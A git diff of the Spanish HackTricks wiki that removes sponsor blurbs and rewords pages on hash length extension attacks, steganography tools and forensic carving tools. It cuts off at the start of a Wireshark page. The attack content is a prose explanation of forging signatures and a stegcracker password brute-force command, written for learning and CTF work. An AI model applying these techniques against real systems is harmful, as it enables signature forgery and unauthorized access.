diff --git a/README.md b/README.md index 56f339ead..dc2b0e79f 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
-**Intigriti** es la **plataforma de hacking ético y bug bounty número 1 de Europa.** +**Intigriti** es la **plataforma de hacking ético y bug bounty #1 de Europa.** **Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**! @@ -55,7 +55,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
\ -Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las herramientas comunitarias **más avanzadas** del mundo. +Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo. Obtén acceso hoy: @@ -71,7 +71,7 @@ Obtén acceso hoy: * **Perspectivas de Hacking:** Participa en contenido que profundiza en la emoción y los desafíos del hacking * **Noticias de Hackeo en Tiempo Real:** Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real -* **Últimos Anuncios:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones cruciales de la plataforma +* **Últimos Anuncios:** Mantente informado sobre las nuevas recompensas de bug bounty que se lanzan y actualizaciones cruciales de la plataforma **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! @@ -87,36 +87,13 @@ Obtén acceso hoy: *** -### [SerpApi](https://serpapi.com/) - -
- -SerpApi ofrece APIs rápidas y fáciles en tiempo real para **acceder a los resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti. - -Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para extraer datos de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\ -A diferencia de otros proveedores, **SerpApi no solo extrae resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda. - -Los clientes actuales de SerpApi incluyen **Apple, Shopify y GrubHub**.\ -Para más información, consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\ -Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign\_up)**.** - -*** - -### [Try Hard Security Group](https://discord.gg/tryhardsecurity) - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### [WebSec](https://websec.nl/)
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar **servicios de seguridad ofensiva** con un enfoque **moderno**. -WebSec es una **empresa de seguridad todo en uno**, lo que significa que hacen de todo; Pentesting, **Auditorías de Seguridad**, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Explotaciones, Externalización de Expertos en Seguridad y mucho más. +WebSec es una **empresa de seguridad todo en uno**, lo que significa que hacen de todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Explotaciones, Externalización de Expertos en Seguridad y mucho más. Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, se indica en su sitio web "**Si no podemos hackearlo, ¡no pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)! @@ -124,17 +101,6 @@ Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir los robos de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes consultar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} ## Licencia y Descargo de Responsabilidad diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md index 5e84f0c40..236e93cab 100644 --- a/crypto-and-stego/hash-length-extension-attack.md +++ b/crypto-and-stego/hash-length-extension-attack.md @@ -15,36 +15,23 @@ Learn & practice GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Resumen del ataque Imagina un servidor que está **firmando** algunos **datos** al **agregar** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si sabes: -* **La longitud del secreto** (esto también se puede forzar a partir de un rango de longitud dado) +* **La longitud del secreto** (esto también se puede forzar mediante un rango de longitud dado) * **Los datos de texto claro** * **El algoritmo (y es vulnerable a este ataque)** * **El padding es conocido** -* Usualmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, esto también se cumple +* Usualmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es * El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**. ### ¿Cómo? -Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir** del **hash** (estado) **creado previamente**, **agregan el siguiente bloque de datos** y **lo hashean**. +Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir de** la **hash** (estado) **creada previamente**, **agregan el siguiente bloque de datos** y **lo hashean**. Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\ Si un atacante quiere agregar la cadena "agregar", puede: @@ -62,17 +49,7 @@ Si un atacante quiere agregar la cadena "agregar", puede: Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/crypto-and-stego/stego-tricks.md b/crypto-and-stego/stego-tricks.md index ad5b8e00b..f59766003 100644 --- a/crypto-and-stego/stego-tricks.md +++ b/crypto-and-stego/stego-tricks.md @@ -1,29 +1,21 @@ -# Trucos de Estego +# Stego Tricks {% hint style="success" %} -Aprende y practica Hacking en AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## **Extrayendo Datos de Archivos** +## **Extracción de Datos de Archivos** ### **Binwalk** @@ -35,19 +27,19 @@ binwalk --dd ".*" file # Extracts all data ``` ### **Foremost** -Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Instalado a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost). +Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Se instala a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost). ```bash foremost -i file # Extracts data ``` ### **Exiftool** -Ayuda a ver los metadatos de un archivo, disponible [aquí](https://www.sno.phy.queensu.ca/\~phil/exiftool/). +Ayuda a ver los metadatos del archivo, disponible [aquí](https://www.sno.phy.queensu.ca/\~phil/exiftool/). ```bash exiftool file # Shows the metadata ``` ### **Exiv2** -Similar to exiftool, for viewing metadata. Instalable via `apt`, fuente en [GitHub](https://github.com/Exiv2/exiv2), y tiene un [sitio web oficial](http://www.exiv2.org/). +Similar a exiftool, para la visualización de metadatos. Instalado a través de `apt`, código fuente en [GitHub](https://github.com/Exiv2/exiv2), y tiene un [sitio web oficial](http://www.exiv2.org/). ```bash exiv2 file # Shows the metadata ``` @@ -57,7 +49,7 @@ Identifica el tipo de archivo con el que estás tratando. ### **Cadenas** -Extrae cadenas legibles de archivos, utilizando varios ajustes de codificación para filtrar la salida. +Extrae cadenas legibles de archivos, utilizando varias configuraciones de codificación para filtrar la salida. ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -85,94 +77,96 @@ Los caracteres invisibles en espacios aparentemente vacíos pueden ocultar infor ### **Identificación de Detalles de Imágenes con GraphicMagick** -[GraphicMagick](https://imagemagick.org/script/download.php) sirve para determinar tipos de archivos de imagen e identificar posibles corrupciones. Ejecuta el siguiente comando para inspeccionar una imagen: +[GraphicMagick](https://imagemagick.org/script/download.php) sirve para determinar los tipos de archivos de imagen e identificar posibles corrupciones. Ejecuta el siguiente comando para inspeccionar una imagen: ```bash ./magick identify -verbose stego.jpg ``` -Para intentar reparar una imagen dañada, agregar un comentario de metadatos podría ser útil: +Para intentar reparar una imagen dañada, agregar un comentario de metadatos podría ayudar: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` -### **Esteganografía con Steghide para Ocultar Datos** +### **Steghide para la Ocultación de Datos** -Steghide facilita ocultar datos dentro de archivos `JPEG, BMP, WAV y AU`, capaz de incrustar y extraer datos encriptados. La instalación es sencilla utilizando `apt`, y su [código fuente está disponible en GitHub](https://github.com/StefanoDeVuono/steghide). +Steghide facilita ocultar datos dentro de archivos `JPEG, BMP, WAV y AU`, capaz de incrustar y extraer datos cifrados. La instalación es sencilla usando `apt`, y su [código fuente está disponible en GitHub](https://github.com/StefanoDeVuono/steghide). **Comandos:** -* `steghide info archivo` revela si un archivo contiene datos ocultos. -* `steghide extract -sf archivo [--contraseña contraseña]` extrae los datos ocultos, contraseña opcional. +* `steghide info file` revela si un archivo contiene datos ocultos. +* `steghide extract -sf file [--passphrase password]` extrae los datos ocultos, la contraseña es opcional. -Para extracción basada en web, visita [este sitio web](https://futureboy.us/stegano/decinput.html). +Para la extracción basada en la web, visita [este sitio web](https://futureboy.us/stegano/decinput.html). **Ataque de Fuerza Bruta con Stegcracker:** -* Para intentar descifrar contraseñas en Steghide, utiliza [stegcracker](https://github.com/Paradoxis/StegCracker.git) de la siguiente manera: +* Para intentar romper la contraseña en Steghide, usa [stegcracker](https://github.com/Paradoxis/StegCracker.git) de la siguiente manera: ```bash stegcracker [] ``` ### **zsteg para archivos PNG y BMP** -zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instalación se realiza a través de `gem install zsteg`, con su [fuente en GitHub](https://github.com/zed-0xff/zsteg). +zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instalación se realiza a través de `gem install zsteg`, con su [código fuente en GitHub](https://github.com/zed-0xff/zsteg). **Comandos:** -* `zsteg -a archivo` aplica todos los métodos de detección en un archivo. -* `zsteg -E archivo` especifica un payload para la extracción de datos. +* `zsteg -a file` aplica todos los métodos de detección en un archivo. +* `zsteg -E file` especifica una carga útil para la extracción de datos. ### **StegoVeritas y Stegsolve** -**stegoVeritas** verifica metadatos, realiza transformaciones de imagen y aplica fuerza bruta LSB, entre otras características. Utiliza `stegoveritas.py -h` para obtener una lista completa de opciones y `stegoveritas.py stego.jpg` para ejecutar todas las verificaciones. +**stegoVeritas** verifica metadatos, realiza transformaciones de imágenes y aplica fuerza bruta LSB, entre otras características. Usa `stegoveritas.py -h` para una lista completa de opciones y `stegoveritas.py stego.jpg` para ejecutar todas las verificaciones. -**Stegsolve** aplica varios filtros de color para revelar textos ocultos o mensajes dentro de imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). +**Stegsolve** aplica varios filtros de color para revelar textos o mensajes ocultos dentro de las imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). -### **FFT para la detección de contenido oculto** +### **FFT para detección de contenido oculto** -Las técnicas de Transformada Rápida de Fourier (FFT) pueden revelar contenido oculto en imágenes. Recursos útiles incluyen: +Las técnicas de Transformada Rápida de Fourier (FFT) pueden revelar contenido oculto en imágenes. Los recursos útiles incluyen: -* [Demo de EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/) +* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) * [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) * [FFTStegPic en GitHub](https://github.com/0xcomposure/FFTStegPic) ### **Stegpy para archivos de audio e imagen** -Stegpy permite incrustar información en archivos de imagen y audio, admitiendo formatos como PNG, BMP, GIF, WebP y WAV. Está disponible en [GitHub](https://github.com/dhsdshdhk/stegpy). +Stegpy permite incrustar información en archivos de imagen y audio, soportando formatos como PNG, BMP, GIF, WebP y WAV. Está disponible en [GitHub](https://github.com/dhsdshdhk/stegpy). ### **Pngcheck para análisis de archivos PNG** + +Para analizar archivos PNG o validar su autenticidad, usa: ```bash apt-get install pngcheck pngcheck stego.png ``` -### **Herramientas adicionales para análisis de imágenes** +### **Herramientas Adicionales para Análisis de Imágenes** -Para una exploración más profunda, considera visitar: +Para una exploración adicional, considera visitar: * [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) -* [Análisis de Nivel de Error de Imagen](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) +* [Análisis del Nivel de Error de Imagen](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) * [Outguess](https://github.com/resurrecting-open-source-projects/outguess) * [OpenStego](https://www.openstego.com/) * [DIIT](https://diit.sourceforge.net/) -## **Extracción de datos de audios** +## **Extracción de Datos de Audios** -La **esteganografía de audio** ofrece un método único para ocultar información dentro de archivos de sonido. Se utilizan diferentes herramientas para incrustar o recuperar contenido oculto. +**La esteganografía de audio** ofrece un método único para ocultar información dentro de archivos de sonido. Se utilizan diferentes herramientas para incrustar o recuperar contenido oculto. ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide es una herramienta versátil diseñada para ocultar datos en archivos JPEG, BMP, WAV y AU. Se proporcionan instrucciones detalladas en la [documentación de trucos de estego](stego-tricks.md#steghide). +Steghide es una herramienta versátil diseñada para ocultar datos en archivos JPEG, BMP, WAV y AU. Se proporcionan instrucciones detalladas en la [documentación de trucos de esteganografía](stego-tricks.md#steghide). ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -Esta herramienta es compatible con una variedad de formatos, incluidos PNG, BMP, GIF, WebP y WAV. Para obtener más información, consulta la [sección de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +Esta herramienta es compatible con una variedad de formatos, incluyendo PNG, BMP, GIF, WebP y WAV. Para más información, consulta la [sección de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). ### **ffmpeg** -ffmpeg es crucial para evaluar la integridad de archivos de audio, resaltando información detallada y señalando cualquier discrepancia. +ffmpeg es crucial para evaluar la integridad de los archivos de audio, destacando información detallada y señalando cualquier discrepancia. ```bash ffmpeg -v info -i stego.mp3 -f null - ``` ### **WavSteg (WAV)** -WavSteg destaca en ocultar y extraer datos dentro de archivos WAV utilizando la estrategia del bit menos significativo. Está disponible en [GitHub](https://github.com/ragibson/Steganography#WavSteg). Los comandos incluyen: +WavSteg se destaca en ocultar y extraer datos dentro de archivos WAV utilizando la estrategia del bit menos significativo. Está disponible en [GitHub](https://github.com/ragibson/Steganography#WavSteg). Los comandos incluyen: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile @@ -180,25 +174,27 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` ### **Deepsound** -Deepsound permite el cifrado y la detección de información dentro de archivos de sonido utilizando AES-256. Puede descargarse desde [la página oficial](http://jpinsoft.net/deepsound/download.aspx). +Deepsound permite la encriptación y detección de información dentro de archivos de sonido utilizando AES-256. Se puede descargar desde [la página oficial](http://jpinsoft.net/deepsound/download.aspx). ### **Sonic Visualizer** Una herramienta invaluable para la inspección visual y analítica de archivos de audio, Sonic Visualizer puede revelar elementos ocultos indetectables por otros medios. Visita el [sitio web oficial](https://www.sonicvisualiser.org/) para más información. -### **Tonos DTMF - Tonos de marcación** +### **Tonos DTMF - Tonos de Marcado** -La detección de tonos DTMF en archivos de audio se puede lograr a través de herramientas en línea como [este detector de DTMF](https://unframework.github.io/dtmf-detect/) y [DialABC](http://dialabc.com/sound/detect/index.html). +Detectar tonos DTMF en archivos de audio se puede lograr a través de herramientas en línea como [este detector DTMF](https://unframework.github.io/dtmf-detect/) y [DialABC](http://dialabc.com/sound/detect/index.html). ## **Otras Técnicas** ### **Longitud Binaria SQRT - Código QR** -Los datos binarios que al cuadrar dan un número entero podrían representar un código QR. Utiliza este fragmento para verificar: +Los datos binarios que se elevan al cuadrado para convertirse en un número entero podrían representar un código QR. Usa este fragmento para verificar: ```python import math math.sqrt(2500) #50 ``` +Para la conversión de binario a imagen, consulta [dcode](https://www.dcode.fr/binary-image). Para leer códigos QR, utiliza [este lector de códigos de barras en línea](https://online-barcode-reader.inliteresearch.com/). + ### **Traducción de Braille** Para traducir Braille, el [Traductor de Braille de Branah](https://www.branah.com/braille-translator) es un excelente recurso. @@ -208,12 +204,6 @@ Para traducir Braille, el [Traductor de Braille de Branah](https://www.branah.co * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -222,9 +212,9 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks -* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. {% endhint %} diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 8e896a259..c5b95f058 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Carving & Recovery tools -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy @@ -33,9 +25,9 @@ La herramienta más común utilizada en forense para extraer archivos de imágen ### Binwalk -**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). +**Binwalk** es una herramienta para analizar archivos binarios para encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). -**Useful commands**: +**Comandos útiles**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file @@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto. +Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -59,7 +51,7 @@ scalpel file.img -o output ``` ### Bulk Extractor -Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) +Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer: ``` @@ -96,7 +88,7 @@ BinVis es un gran **punto de partida para familiarizarse con un objetivo descono ### FindAES -Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. +Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. Descarga [aquí](https://sourceforge.net/projects/findaes/). @@ -105,12 +97,6 @@ Descarga [aquí](https://sourceforge.net/projects/findaes/). Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\ Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo. -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 6c662303a..61af48b3f 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** +## Herramientas de Carving y Recuperación -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## Carving & Recovery tools - -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy @@ -33,7 +25,7 @@ La herramienta más común utilizada en forense para extraer archivos de imágen ### Binwalk -**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). +**Binwalk** es una herramienta para analizar archivos binarios para encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). **Comandos útiles**: ```bash @@ -65,7 +57,7 @@ Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, * ``` bulk_extractor memory.img -o out_folder ``` -Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**). +Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee[ **análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**). ### PhotoRec @@ -81,7 +73,7 @@ Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web #### Características de BinVis -* Visual y activo **visor de estructuras** +* Visualizador de **estructura** visual y activa * Múltiples gráficos para diferentes puntos de enfoque * Enfocándose en porciones de una muestra * **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo. @@ -96,21 +88,15 @@ BinVis es un gran **punto de partida para familiarizarse con un objetivo descono ### FindAES -Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. +Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. Descarga [aquí](https://sourceforge.net/projects/findaes/). ## Herramientas complementarias -Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\ +Puedes usar [**viu** ](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\ Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo. -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 78c600013..ff81a980a 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -10,24 +10,12 @@ Aprende y practica Hacking en GCP: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir el robo de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** Si tienes un pcap con datos siendo **exfiltrados por DNSCat** (sin usar cifrado), puedes encontrar el contenido exfiltrado. diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 5d2449623..2bcbeaa6c 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,33 +1,20 @@ -# Wireshark tricks +# Trucos de Wireshark {% hint style="success" %} -Learn & practice AWS 